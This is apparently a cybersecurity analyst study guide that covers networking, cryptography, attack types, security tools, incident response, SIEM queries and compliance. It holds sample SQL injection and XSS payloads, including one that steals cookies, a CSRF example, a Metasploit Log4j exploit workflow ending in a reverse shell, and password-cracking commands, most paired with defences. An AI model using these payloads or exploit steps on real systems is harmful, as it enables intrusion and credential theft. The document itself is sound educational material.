Cybersecurity Analyst

Networking Fundamentals

OSI Model - 7 Layers

TCP vs UDP

TCP Three-Way Handshake

/* Establishing TCP connection */
Client → Server: SYN "seq=100"
Server → Client: SYN-ACK "seq=300, ack=101"
Client → Server: ACK "seq=101, ack=301"

/* Connection established - data can flow */

/* Closing connection (FIN) */
Client → Server: FIN "seq=500"
Server → Client: ACK "ack=501"
Server → Client: FIN "seq=600"
Client → Server: ACK "ack=601"

Common Network Ports

IP Addressing & Subnetting

/* IPv4 structure: A.B.C.D */
192.168.1.0/24
/*
   Network: 192.168.1.0
   Netmask: 255.255.255.0 (/24 = 24 bits = network)
   Hosts: .1 to .254 (256 total, .0=network, .255=broadcast)
   Usable: 254 IPs
*/

/* Common CIDR ranges */
/8  = 16777216 hosts (Class A)
/16 = 65536 hosts (Class B)
/24 = 256 hosts (Class C)
/25 = 128 hosts
/32 = 1 host

/* Private IP ranges (non-routable) */
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16

DNS Resolution Process

/* User types: https://www.example.com */

1. Recursive Query: Client → Local Resolver "resolve example.com"

2. Iterative Queries:
   Resolver → Root Nameserver "where is .com?"
   Root → "ask TLD server 192.0.35.8"

   Resolver → TLD Nameserver "where is example.com?"
   TLD → "ask authoritative 93.184.216.34"

   Resolver → Authoritative NS "what's example.com?"
   Auth → "93.184.216.34"

3. Response back through chain to Client

/* Response cached at each level for TTL (Time To Live) */

ARP Protocol & Poisoning

/* ARP = Address Resolution Protocol - maps IP to MAC address */

Legitimate ARP Request:
Host A "who is 192.168.1.100? tell 192.168.1.1"
Host B "that's me at MAC aa:bb:cc:dd:ee:ff"

ARP Poisoning Attack:
Attacker "I am 192.168.1.1 (gateway)" (lies with attacker's MAC)
All hosts update ARP cache to point gateway to attacker
Traffic flows through attacker (Man-in-the-Middle)

Prevention:
- Static ARP entries
- ARP monitoring tools
- Switch port security
- VLAN isolation

Firewalls & ACLs

/* Stateful firewall - remembers connection state */
Allow established connections (traffic within session)
Deny new inbound connections by default
Allow outbound traffic

/* iptables rule example (Linux) */
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -j DROP

/* Allow SSH only from 192.168.1.0/24 */
iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP

Core Security Concepts

CIA Triad

AAA Framework

• Authentication: Who are you? (password, biometrics, MFA)
• Authorization: What can you do? (role-based access, permissions)
• Accounting: What did you do? (audit logs, activity tracking)

Cryptography Basics

Hashing & Salting

/* Password hashing with salt prevents rainbow table attacks */

Without salt:
password "secret" → hash "5e884898da28047151d0e56f8dc62927"
Anyone with hash lookup table finds password immediately

With salt:
salt = random bytes (stored in DB)
password "secret" + salt → hash "a3f5b8c2d9e1f4a7..."
Different salt = different hash (even for same password)

Modern approach: Use bcrypt, Argon2, scrypt (slow by design)
bcrypt("password", cost=12)
Takes ~100ms to compute, defeats brute force

TLS Handshake Process

/* Establishing HTTPS connection */

1. ClientHello
   Client → Server: TLS version, supported ciphers, random number

2. ServerHello
   Server → Client: chosen cipher, certificate, random number

3. Certificate
   Server → Client: X.509 certificate with public key

4. ServerKeyExchange (if needed)
   Server → Client: ephemeral parameters (ECDHE)

5. ClientKeyExchange
   Client → Server: encrypted pre-master secret

6. ChangeCipherSpec
   Both: switch to encrypted communication

7. Finished
   Both: verify handshake integrity

Result: Symmetric session key established for data encryption

Zero Trust Architecture

• Every user, device, and request is treated as untrusted by default
• Verify identity with MFA, device health, risk assessment
• Microsegmentation: limit lateral movement
• Continuous monitoring and validation
• Least privilege: minimal necessary access
• Assume breach: monitor for unauthorized activity

Defense in Depth

/* Multiple security layers to prevent single point of failure */

Perimeter:
  - Firewall
  - WAF (Web Application Firewall)
  - IDS/IPS

Network:
  - Segmentation/VLANs
  - Intrusion detection
  - Network monitoring

Host:
  - Antivirus/EDR
  - Host-based firewall
  - File integrity monitoring

Application:
  - Input validation
  - Authentication/authorization
  - Secure coding practices

Data:
  - Encryption at rest
  - Encryption in transit
  - Access controls
  - Backups

Attack Types & Techniques

Reconnaissance - Gathering Information

SQL Injection Attacks

/* Vulnerable code */
query = "SELECT * FROM users WHERE email='" + email + "'"

/* Attack payload in email field */
' OR '1'='1
/* Executes: SELECT * FROM users WHERE email='' OR '1'='1' */
/* Returns all users! */

/* UNION-based injection */
' UNION SELECT username, password FROM admin_users --

/* Blind SQL injection (no visible output) */
' AND 1=1 --  /* True - page behaves normally */
' AND 1=2 --  /* False - page behaves differently */
/* Attacker infers data via time delays or responses */

/* Prevention: Use parameterized queries */
query = "SELECT * FROM users WHERE email = ?"
db.query(query, [email])

XSS (Cross-Site Scripting)

/* Reflected XSS - via URL parameter */
URL: http://site.com/search?q=<script>alert(document.cookie)</script>
Victim clicks link → script executes in browser → steals cookie

/* Stored XSS - via database */
Attacker posts comment: <img src=x onerror='fetch("/steal?c=" + document.cookie)'>
Every user viewing comment → cookie stolen
More dangerous than reflected (persistent)

/* DOM-based XSS */
JavaScript: document.getElementById('content').innerHTML = userInput
Attacker: userInput = <svg onload='alert(1)'>

/* Prevention */
1. Always escape output (React does this by default)
2. Content-Security-Policy: restrict inline scripts
3. Input validation (whitelist expected formats)
4. Use template engines that auto-escape

OWASP Top 10 Web Vulnerabilities

CSRF (Cross-Site Request Forgery)

/* Attacker tricks authenticated user into making unwanted request */

Attack scenario:
1. User logs into bank.com, authenticated (has session cookie)
2. User visits evil.com (still has bank.com cookie in browser)
3. evil.com has: <img src="bank.com/transfer?to=attacker&amount=1000">
4. Browser sends request with user's bank.com cookie
5. Transfer succeeds (browser doesn't know it's from evil.com)

Prevention:
1. Same-Site cookies: Set-Cookie: sessionid=...; SameSite=Strict
2. CSRF tokens: Server generates random token, form must include it
3. Check Referer header
4. Double-submit cookies (token in cookie and form)

DDoS (Denial of Service)

Malware Types

• Virus: Self-replicates by attaching to files
• Worm: Self-replicates over network without user interaction
• Trojan: Disguised as legitimate, creates backdoor
• Ransomware: Encrypts files, demands payment to decrypt
• Rootkit: Hides itself and gives attacker admin access
• Keylogger: Records keystrokes to steal passwords
• Botnet: Network of compromised machines controlled remotely
• RAT (Remote Access Trojan): Remote shell access to system

APT (Advanced Persistent Threat)

• Highly sophisticated, long-term attacks
• Usually state-sponsored or well-funded criminal groups
• Characteristics: stealthy, patient (months/years), persistent access
• Methods: spear-phishing, zero-days, supply chain attacks
• Goal: steal intellectual property, espionage, sabotage
• Examples: APT28 (Russia), APT1 (China), Lazarus (North Korea)

Security Tools — Practical Commands

Nmap - Network Scanning

Wireshark - Packet Analysis

/* Capture filters (before capture) */
tcpdump -i eth0 -w capture.pcap port 80

/* Display filters (after capture) */
tcp.port == 80                  /* HTTP traffic */
http                           /* HTTP protocol */
ip.addr == 192.168.1.100      /* Specific IP */
tcp.flags.syn == 1             /* SYN packets only */
dns                            /* DNS queries */

/* Follow TCP stream to see full conversation */
Right-click packet → Follow → TCP Stream

Burp Suite - Web App Testing

Metasploit - Exploitation Framework

/* Metasploit msfconsole workflow */

search ssh_version_scanner     /* Search for modules */
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24     /* Target range */
set THREADS 50                /* Parallel threads */
run                             /* Execute module */

/* Exploit example */
search CVE-2021-44228          /* Log4j vulnerability */
use exploit/multi/misc/log4j_rce_cve_2021_44228
set LHOST 192.168.1.100      /* Your IP for callback */
set LPORT 4444                /* Your listening port */
set RHOSTS target.com
exploit                         /* Execute exploit */
/* Receives reverse shell */

SQLmap - SQL Injection Automation

John the Ripper & Hashcat - Password Cracking

/* John the Ripper - simple, CPU-focused */
john --wordlist=rockyou.txt --format=md5 hash.txt
john --show hash.txt                      /* Show cracked passwords */

/* Hashcat - GPU-optimized, faster */
hashcat -a 0 -m 0 hash.txt wordlist.txt
/*
   -a 0 = dictionary attack
   -m 0 = MD5 hash
   -m 100 = SHA-1
   -m 1400 = SHA-256
*/

/* Mask attack (brute force with pattern) */
hashcat -a 3 -m 0 hash.txt ?l?l?l?d?d
/*
   ?l = lowercase a-z
   ?u = uppercase A-Z
   ?d = digit 0-9
   ?s = special chars
*/

Splunk - SIEM & Log Analysis

/* Splunk Query Language (SPL) examples */

/* Search failed login attempts */
index=windows EventCode=4625 | stats count by src_ip | sort - count

/* Find top destination IPs by volume */
index=firewall action=allowed | stats sum(bytes) as total by dest_ip | sort - total

/* Timeline of DNS queries */
index=dns | timechart count by query_domain limit=10

/* Alert on unusual authentication activity */
index=auth action=failure | stats count by user | where count > 5

/* Web server error spikes */
index=apache status=500 | timechart count by host

Nessus/OpenVAS - Vulnerability Scanning

Hydra - Network Brute Force

Incident Response Lifecycle

NIST IR Phases

Triage & Severity Classification

Forensic Preservation

/* Evidence collection - maintain chain of custody */

/* Memory dump (captures RAM - volatile) */
volatility imageinfo -f memory.bin    /* Identify OS profile */
volatility -f memory.bin -profile Win7SP1x64 pslist  /* List processes */
volatility -f memory.bin -profile Win7SP1x64 netscan /* Network connections */

/* Disk imaging (preserves non-volatile) */
dd if=/dev/sda of=disk_image.img bs=4M /* Create image */
md5sum disk_image.img > disk_image.md5  /* Hash for integrity */

/* Log preservation */
find /var/log -type f | xargs tar czf logs_backup.tar.gz
scp logs_backup.tar.gz forensics_server:/evidence/

/* Timeline creation */
fls -r /mnt/image | mactime -z UTC | sort -k1

Common IOCs (Indicators of Compromise)

• File Hashes: MD5, SHA-1, SHA-256 of malware binaries (compare with VirusTotal)
• IP Addresses: C&C servers, attacker infrastructure
• Domain Names: Phishing domains, malicious sites
• URLs: Malware download links, exfiltration endpoints
• Email Addresses: Attacker contact, phishing sender
• Yara Rules: Patterns to detect malware samples
• Registry Keys: Persistence mechanisms in Windows
• File Paths: Typical malware locations (/tmp, %Temp%)

Logs & SIEM

Windows Security Event IDs

Linux Log Locations

/* Critical log files */
/var/log/auth.log          /* Authentication attempts (Debian/Ubuntu) */
/var/log/secure            /* Authentication attempts (RedHat/CentOS) */
/var/log/syslog            /* System messages */
/var/log/kernel            /* Kernel messages */
/var/log/cron              /* Cron job execution */
/var/log/apache2/access.log /* Web server requests */
/var/log/apache2/error.log  /* Web server errors */
/var/log/sudo              /* Privilege escalation attempts */

/* View failed SSH logins */
grep "Failed password" /var/log/auth.log | wc -l
grep "Invalid user" /var/log/auth.log | cut -d' ' -f8 | sort | uniq -c

Splunk SPL Query Examples

/* Alert on brute force (20+ failed logins in 5 min) */
index=windows EventCode=4625
| stats count as failures by src_ip
| where failures > 20
| alert

/* Find lateral movement (explicit credentials on multiple hosts) */
index=windows EventCode=4648
| stats dc(ComputerName) as host_count by SubjectUserName
| where host_count > 3

/* Detect potential data exfiltration (large outbound transfers) */
index=firewall src_zone=internal dest_zone=external
| stats sum(bytes_out) as total_out by src_ip
| where total_out > 1000000000

/* Find command execution with suspicious keywords */
index=windows EventCode=4688 CommandLine=* (powershell OR cmd OR rundll32)
| search CommandLine=*http* OR CommandLine=*iex* OR CommandLine=*Base64*
| table ComputerName, User, CommandLine

Threat Intelligence

MITRE ATT&CK Framework

• Tactics: High-level goals (what attacker wants)
• Techniques: Specific methods to achieve tactic
• Sub-techniques: Variations of techniques
• Use cases: Threat hunting, detection, incident response

Kill Chain Model

Diamond Model

/* Threat analysis model connecting 4 key elements */

        Capability (How)
        /              \
       /                \
   Adversary --- Victim
      \                /
       \              /
    Infrastructure (Where)

Edges:
- Adversary ↔ Capability: What tools/skills does attacker have?
- Adversary ↔ Infrastructure: What infra does attacker control?
- Infrastructure ↔ Capability: How is infra used for attack?
- All ↔ Victim: Who/what is targeted?

Analysis helps attribute attacks and predict future activity

Threat Intel Sources

• MISP: Open-source threat intel platform, community-driven
• OpenCTI: Open-source CTI framework, visualize threats
• VirusTotal: Check file/URL/IP reputation (85+ scanners)
• AlienVault OTX: Free threat intel feed, 40M+ records
• Shodan: IoT/device search engine, fingerprint services
• URLhaus: Malware distribution URLs
• Abuse.ch: Malware blocklists, C&C trackers
• Any.run: Malware sandbox (interactive analysis)

Threat Hunting

• Hypothesis-driven: "Attackers may use scheduled tasks for persistence"
• Data-driven: Analyze logs for anomalies (unusual processes, connections)
• TTPs from intel: Use known APT techniques to search logs
• Tools: SIEM, EDR, Splunk, Jupyter notebooks for analysis
• Outcome: Find undetected compromise, IOCs, improve detection

Compliance & Frameworks

NIST Cybersecurity Framework (CSF)

ISO 27001 (ISMS - Information Security Management System)

• International standard for information security management
• Risk-based approach: identify, analyze, treat risks
• 14 domains: governance, asset management, access control, etc.
• 143 controls across domains
• Certification: External audit validates compliance
• Continual improvement: Plan-Do-Check-Act cycle

PCI DSS (Payment Card Industry Data Security Standard)

GDPR (General Data Protection Regulation)

• Applies to: Any organization handling EU resident data (regardless of location)
• Lawful basis: Consent, contract, legal obligation, vital interests, public task, legitimate interests
• Data subject rights: Access, rectification, erasure, portability, objection
• Privacy by design: Incorporate privacy from start of systems
• Breach notification: Notify supervisory authority within 72 hours (some exceptions)
• DPA (Data Protection Authority): Report breaches, assess impact
• Penalties: Up to 4% of annual global revenue or €20M (whichever higher)

SOC 2 (System and Organization Controls)

• Type 1: Point-in-time audit (single date) - design effectiveness
• Type 2: Period audit (6-12 months) - ongoing effectiveness
• Trust Services Criteria: 5 categories (CC = Common Criteria)
• CC1: Controls (design and operation)
• CC2: Communication (policies, responsibilities)
• CC3: Change management (change authorization, testing)
• CC4: Monitoring (IT monitoring, incident detection)
• CC5: Risk assessment

Top 30 Cybersecurity Interview Questions

Glossary